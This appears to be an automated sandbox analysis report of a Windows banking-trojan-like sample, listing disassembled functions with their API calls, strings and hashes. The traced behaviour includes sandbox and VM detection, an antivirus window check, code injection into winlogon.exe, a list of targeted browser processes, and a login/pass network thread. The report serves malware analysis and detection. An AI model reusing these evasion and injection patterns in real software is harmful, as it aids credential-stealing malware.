                                                                                                                                                                                                            control_flow_graph 940 402c10-402c42 LoadLibraryA GetModuleFileNameA call 403900 943 402c44-402c46 ExitProcess 940->943 944 402c4c-402c67 call 4020b0 call 401fc0 FindWindowA 940->944 949 402c81-402c9f call 402240 call 402330 call 402420 call 402560 IsUserAnAdmin 944->949 950 402c69-402c7b GetTickCount PostMessageA 944->950 959 402ca1-402ca8 call 401d80 949->959 960 402cc3-402cdb IsUserAnAdmin GetModuleHandleA 949->960 950->949 972 402cb2-402cb9 call 403440 959->972 973 402caa-402cac ExitProcess 959->973 961 402cfc-402d00 960->961 962 402cdd-402ced GetProcAddress 960->962 965 402d02-402d04 961->965 966 402d4e-402d50 961->966 962->961 964 402cef-402cf9 GetCurrentProcess 962->964 964->961 970 402d06-402d1a StrStrIA 965->970 971 402d1c-402d3a call 402810 GetCurrentProcessId call 401580 Sleep 965->971 968 402d56-402d6a StrStrIA 966->968 969 402ddd-402df6 call 402810 GlobalFindAtomA 966->969 975 402d81-402d94 call 402950 GlobalFindAtomA 968->975 976 402d6c-402d7c call 402810 call 4027b0 968->976 991 402e38-402e3a ExitProcess 969->991 992 402df8-402e07 GlobalAddAtomA IsUserAnAdmin 969->992 970->971 977 402d3f-402d49 call 402950 call 4011c0 970->977 971->991 972->960 987 402cbb-402cbd ExitProcess 972->987 995 402dd6-402ddb call 4011c0 975->995 996 402d96-402da5 GlobalAddAtomA IsUserAnAdmin 975->996 976->991 977->991 998 402e19-402e22 IsUserAnAdmin 992->998 999 402e09-402e11 992->999 995->991 1005 402db7-402dc0 IsUserAnAdmin 996->1005 1006 402da7-402daf 996->1006 1000 402e24 998->1000 1001 402e29-402e31 call 4014b0 998->1001 999->998 1000->1001 1001->991 1014 402e33 call 401580 1001->1014 1007 402dc2 1005->1007 1008 402dc7-402dcf call 4014b0 1005->1008 1006->1005 1007->1008 1008->995 1015 402dd1 call 401580 1008->1015 1014->991 1015->995
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • LoadLibraryA.KERNEL32(user32.dll), ref: 00402C21
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00402C35
                                                                                                                                                                                                              • Part of subcall function 00403900: RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403940
                                                                                                                                                                                                              • Part of subcall function 00403900: RegQueryValueExA.KERNEL32(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403965
                                                                                                                                                                                                              • Part of subcall function 00403900: RegCloseKey.ADVAPI32(?), ref: 00403973
                                                                                                                                                                                                              • Part of subcall function 00403900: GetUserNameA.ADVAPI32(?,00000104), ref: 004039B9
                                                                                                                                                                                                              • Part of subcall function 00403900: CharUpperA.USER32(?), ref: 004039C6
                                                                                                                                                                                                              • Part of subcall function 00403900: strstr.MSVCRT ref: 004039DE
                                                                                                                                                                                                              • Part of subcall function 00403900: strstr.MSVCRT ref: 004039F7
                                                                                                                                                                                                              • Part of subcall function 00403900: strstr.MSVCRT ref: 00403A10
                                                                                                                                                                                                              • Part of subcall function 00403900: GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A29
                                                                                                                                                                                                              • Part of subcall function 00403900: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4D
                                                                                                                                                                                                              • Part of subcall function 00403900: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A87
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402C46
                                                                                                                                                                                                            • FindWindowA.USER32(____AVP.Root,00000000), ref: 00402C5D
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 00402C69
                                                                                                                                                                                                            • PostMessageA.USER32(00000000,00000466,00010001,00000000), ref: 00402C7B
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 00402C9B
                                                                                                                                                                                                            • ExitProcess.KERNEL32 ref: 00402CAC
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Namestrstr$ExitFileModuleProcessUser$AdminCharCloseCountDirectoryFindInformationLibraryLoadMessageOpenPostQuerySystemTickUpperValueVolumeWindowWindows
                                                                                                                                                                                                            • String ID: Fri Jun 17 05:52:09 20112$IsWow64Process$Pn7w$\apppatch\$____AVP.Root$explorer.exe$kernel32.dll$user32.dll$winlogon.exe
                                                                                                                                                                                                            • API String ID: 3353599405-700788231
                                                                                                                                                                                                            • Opcode ID: 3c08cf3795012a32fe98e21dd2af2de8b387599ae1b272b10eb404c49b26478c
                                                                                                                                                                                                            • Instruction ID: a8c301d2fd554ff8a4c2a18cdd62ad6e0f77d76d1eb59a281ca00d7aee5c603c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3c08cf3795012a32fe98e21dd2af2de8b387599ae1b272b10eb404c49b26478c
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FC515EB1640201A7EB1077B1EF0EB5B3668AF94B45F10413ABB05B61E1EBFC8D4586AD
                                                                                                                                                                                                            Function 00403900 Relevance: 47.4, APIs: 15, Strings: 12, Instructions: 134registrystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,?), ref: 00403940
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 00403965
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 00403973
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 0040397F
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(?,00000104), ref: 004039B9
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 004039C6
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039DE
                                                                                                                                                                                                            • strstr.MSVCRT ref: 004039F7
                                                                                                                                                                                                            • strstr.MSVCRT ref: 00403A10
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 00403A29
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00403A4D
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403A87
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\sand-box\), ref: 00403A9F
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\cwsandbox\), ref: 00403AB1
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\sandbox\), ref: 00403AC3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: strstr$CloseName$CharDirectoryFileInformationModuleOpenQuerySystemUpperUserValueVolumeWindows
                                                                                                                                                                                                            • String ID: E$HARDWARE\DESCRIPTION\System$M$MALNETVM$Q$SANDBOX$SystemBiosVersion$U$VIRUSCLONE$\cwsandbox\$\sand-box\$\sandbox\
                                                                                                                                                                                                            • API String ID: 1431998568-3499098167
                                                                                                                                                                                                            • Opcode ID: 3b908be20d57cd3dc64100d28935cd3b8a2d2fe8bb1a9ff6224eef881bebb134
                                                                                                                                                                                                            • Instruction ID: c92bd0b18e501642bc8da1a15e04f066bbee5c1b1fab61bbe3854025ca4dfe5f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3b908be20d57cd3dc64100d28935cd3b8a2d2fe8bb1a9ff6224eef881bebb134
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8741D8B1A50218A7DB20DB90CD4AFEF7B7C9B94705F1440AAE744B51C0D7B99B84CFA8
                                                                                                                                                                                                            Function 02C888F0 Relevance: 43.9, APIs: 23, Strings: 2, Instructions: 161threadnetworkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ExitThread$Startupsocket
                                                                                                                                                                                                            • String ID: login$pass
                                                                                                                                                                                                            • API String ID: 1705285421-2248183487
                                                                                                                                                                                                            • Opcode ID: 0814016945f0639cc30ea48f27b4ddf5a410ef03c0ada2c7d2801af701cddf6e
                                                                                                                                                                                                            • Instruction ID: f33e156e8bc8c7f92e80d3e6d955723e872460550b0affbafca1c6be28475b8d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0814016945f0639cc30ea48f27b4ddf5a410ef03c0ada2c7d2801af701cddf6e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D451AE75984340AFC302DF64E888B6ABBE8FF88724F448B1DF965972C0D7709519CB62
                                                                                                                                                                                                            Function 02C864A0 Relevance: 40.8, APIs: 27, Instructions: 290memorytimesleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C86370: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 02C86384
                                                                                                                                                                                                              • Part of subcall function 02C86370: Process32First.KERNEL32(00000000,?), ref: 02C863A9
                                                                                                                                                                                                              • Part of subcall function 02C86370: GetCurrentProcessId.KERNEL32(?,00000000), ref: 02C863CD
                                                                                                                                                                                                              • Part of subcall function 02C86370: StrStrIA.SHLWAPI(iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|,?,?,00000000), ref: 02C863E7
                                                                                                                                                                                                              • Part of subcall function 02C86370: EnterCriticalSection.KERNEL32(02CBD8A0,?,00000000), ref: 02C8640B
                                                                                                                                                                                                              • Part of subcall function 02C86370: GetProcessHeap.KERNEL32(00000008,00000010,?,00000000), ref: 02C86411
                                                                                                                                                                                                              • Part of subcall function 02C86370: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 02C86418
                                                                                                                                                                                                              • Part of subcall function 02C86370: LeaveCriticalSection.KERNEL32(02CBD8A0,?,00000000), ref: 02C86446
                                                                                                                                                                                                              • Part of subcall function 02C86370: Process32Next.KERNEL32(00000000,00000128), ref: 02C8645A
                                                                                                                                                                                                              • Part of subcall function 02C86370: GetHandleInformation.KERNEL32(00000000,?,?,00000000), ref: 02C86474
                                                                                                                                                                                                              • Part of subcall function 02C86370: CloseHandle.KERNEL32(00000000,?,00000000), ref: 02C86485
                                                                                                                                                                                                            • OpenProcess.KERNEL32 ref: 02C86510
                                                                                                                                                                                                            • GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02C86534
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C86558
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8656A
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02CBD8A0), ref: 02C86575
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C86594
                                                                                                                                                                                                            • OpenProcess.KERNEL32(?,00001400,?), ref: 02C86610
                                                                                                                                                                                                            • GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02C86631
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,FFFFFFFF), ref: 02C86655
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C86667
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02CBD8A0), ref: 02C86672
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C86698
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C866E6
                                                                                                                                                                                                            • VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C86731
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02CBD8A0,?,?), ref: 02C86770
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000010), ref: 02C8677A
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C86781
                                                                                                                                                                                                            • OpenProcess.KERNEL32(?,00001400,?), ref: 02C867D0
                                                                                                                                                                                                            • GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02C867F3
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,00001400), ref: 02C8681B
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 02C8682D
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C8684D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C8687A
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C86881
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 02C8688D
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C86894
                                                                                                                                                                                                            • Sleep.KERNEL32(00000032), ref: 02C868A0
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Process$CriticalHandleHeapSection$CloseEnterInformationLeave$OpenTimes$Process32QueryVirtual$AllocAllocateCreateCurrentFirstFreeNextSleepSnapshotToolhelp32Validate
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1780642658-0
                                                                                                                                                                                                            • Opcode ID: b5554ce6a6e97e970ca9dc0c4d7c248bb66e36c801cb0225fb34d715afcd3c88
                                                                                                                                                                                                            • Instruction ID: c6614f8cda1026375bc89473445eaafcaf29e54397b90c84eaf1897da800079e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b5554ce6a6e97e970ca9dc0c4d7c248bb66e36c801cb0225fb34d715afcd3c88
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 83C1E5B0948391AFD321DF65C884A5AFBE8BFC8B14F208A5EF59A87240D770D545CF92
                                                                                                                                                                                                            Function 00401580 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 215injectionlibrarymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 00401C70: memset.MSVCRT ref: 00401C96
                                                                                                                                                                                                              • Part of subcall function 00401C70: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,76230F00,00000000,00000000), ref: 00401CA7
                                                                                                                                                                                                              • Part of subcall function 00401C70: GetLastError.KERNEL32 ref: 00401CB0
                                                                                                                                                                                                              • Part of subcall function 00401C70: SwitchToThread.KERNEL32 ref: 00401CBF
                                                                                                                                                                                                              • Part of subcall function 00401C70: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401CC8
                                                                                                                                                                                                              • Part of subcall function 00401C70: GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401CE8
                                                                                                                                                                                                              • Part of subcall function 00401C70: CloseHandle.KERNEL32(00000000), ref: 00401CF9
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064,00000000,?,76D6DB30,00402E38,winlogon.exe), ref: 004015AD
                                                                                                                                                                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,00000000,00000000,?,76D6DB30,00402E38,winlogon.exe), ref: 004015CC
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004015EB
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401601
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 0040160D
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401628
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401638
                                                                                                                                                                                                            • VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 0040167F
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,00000000,00406400,?,?), ref: 004016A1
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 004016CD
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?), ref: 004016E8
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,00000000,?), ref: 00401703
                                                                                                                                                                                                            • VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00401711
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,?,00406400,00050200,?), ref: 00401744
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 00401754
                                                                                                                                                                                                            • CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00401766
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000), ref: 0040177E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040178F
                                                                                                                                                                                                            • RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004017B0
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000), ref: 004017CC
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 004017DD
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3375821338.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Process$Create$CloseInformationMemoryThreadVirtualWrite$AddressAllocModuleProcSnapshotToolhelp32$CacheCurrentErrorFlushFreeInstructionLastOpenRemoteSleepSwitchUsermemcpymemset
                                                                                                                                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                            • API String ID: 3542510048-3024904723
                                                                                                                                                                                                            • Opcode ID: 9e2c1cff1cdf4c28cbaf7383b6b48f0421d485e879072eb787a5153b6e1db307
                                                                                                                                                                                                            • Instruction ID: c9964d6c084eb6c4e09adf0a78a82ba29cca963801df753bbce45d31a4150425
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9e2c1cff1cdf4c28cbaf7383b6b48f0421d485e879072eb787a5153b6e1db307
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5571A3B1600315ABE710DFA4DD89F6F77B8AF84B04F144029FA05B72D1E7B8994587AC
                                                                                                                                                                                                            Function 02C766D0 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 215memoryfilestringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,02C92BB9,75AF5CE0), ref: 02C7670B
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C76712
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7672A
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,?,00000104), ref: 02C76739
                                                                                                                                                                                                            • FindFirstFileA.KERNEL32(00000000,?), ref: 02C76761
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$AllocFileFindFirstProcesslstrcpynmemset
                                                                                                                                                                                                            • String ID: \*.*
                                                                                                                                                                                                            • API String ID: 2617121151-1173974218
                                                                                                                                                                                                            • Opcode ID: 08f605f3dea216708c9ac44273907c8a67f20b2d80d1f0db99049bcdb3fcf0bf
                                                                                                                                                                                                            • Instruction ID: 7becebad95b7428ba07262907e1d3278c4549d4a02366af0e28626690a94c87c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 08f605f3dea216708c9ac44273907c8a67f20b2d80d1f0db99049bcdb3fcf0bf
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 00616A71E447865BC7224F309C98BA77FADEF81754F244A54F9819B282DB31D60CC791
                                                                                                                                                                                                            Function 02C93240 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 211injectionlibrarymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C93B50: memset.MSVCRT ref: 02C93B76
                                                                                                                                                                                                              • Part of subcall function 02C93B50: CreateToolhelp32Snapshot.KERNEL32(00000008,?,?,00000000,76230F00), ref: 02C93B87
                                                                                                                                                                                                              • Part of subcall function 02C93B50: GetLastError.KERNEL32 ref: 02C93B90
                                                                                                                                                                                                              • Part of subcall function 02C93B50: SwitchToThread.KERNEL32 ref: 02C93B9F
                                                                                                                                                                                                              • Part of subcall function 02C93B50: CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 02C93BA8
                                                                                                                                                                                                              • Part of subcall function 02C93B50: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C93BC8
                                                                                                                                                                                                              • Part of subcall function 02C93B50: CloseHandle.KERNEL32(00000000), ref: 02C93BD9
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064,00000000,00000000,?,?), ref: 02C9327F
                                                                                                                                                                                                            • OpenProcess.KERNEL32(001F0FFF,00000000,?,00000000,00000000,?,?), ref: 02C9329E
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02C932BD
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02C932D3
                                                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000000), ref: 02C932DF
                                                                                                                                                                                                            • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02C932FA
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02C9330A
                                                                                                                                                                                                            • VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 02C93344
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,00000000,?,?,?), ref: 02C93365
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02C93391
                                                                                                                                                                                                            • memcpy.MSVCRT(00000000,?,?,?,00003000,00000004), ref: 02C933A9
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(00000000,?,00000000,00000000,00000004,?,?,00003000,00000004), ref: 02C933C4
                                                                                                                                                                                                            • VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,00003000,00000004), ref: 02C933D2
                                                                                                                                                                                                            • FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 02C933FA
                                                                                                                                                                                                            • CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02C9340C
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C93424
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C93435
                                                                                                                                                                                                            • RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02C93456
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C93472
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C93483
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$CreateProcess$CloseInformationThreadVirtual$AddressAllocMemoryModuleProcSnapshotToolhelp32Write$CacheCurrentErrorFlushFreeInstructionLastOpenRemoteSleepSwitchUsermemcpymemset
                                                                                                                                                                                                            • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                            • API String ID: 2650560580-3024904723
                                                                                                                                                                                                            • Opcode ID: 16b50e25f9ab040db3dfa2b1bbdb07aab0756fc76a2135fbef614e906c7b86e1
                                                                                                                                                                                                            • Instruction ID: 1a168fb6bc5f68d4b946373794debbb1d69b3a86ee86773ba1e2fdee5f1489b9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 16b50e25f9ab040db3dfa2b1bbdb07aab0756fc76a2135fbef614e906c7b86e1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 92619571A40284BBEF12DF64CC89FAA77ACEF85B04F158599FD059B280DB74DA41CB60
                                                                                                                                                                                                            Function 02C93950 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 181COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetDesktopWindow.USER32 ref: 02C9395E
                                                                                                                                                                                                            • GetWindowDC.USER32(00000000), ref: 02C93965
                                                                                                                                                                                                            • CreateCompatibleDC.GDI32(00000000), ref: 02C9397A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$CompatibleCreateDesktop
                                                                                                                                                                                                            • String ID: ($BM
                                                                                                                                                                                                            • API String ID: 3720047489-2980357723
                                                                                                                                                                                                            • Opcode ID: 761bf98ec28bd78f3c0e41a818d42c92f8e27be2211aa4b5b08b509c60d22872
                                                                                                                                                                                                            • Instruction ID: 66da597546c0650b0bfef3b024a0a811454a89ce9df7fc2a3b6aa3b1ec11ce2a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 761bf98ec28bd78f3c0e41a818d42c92f8e27be2211aa4b5b08b509c60d22872
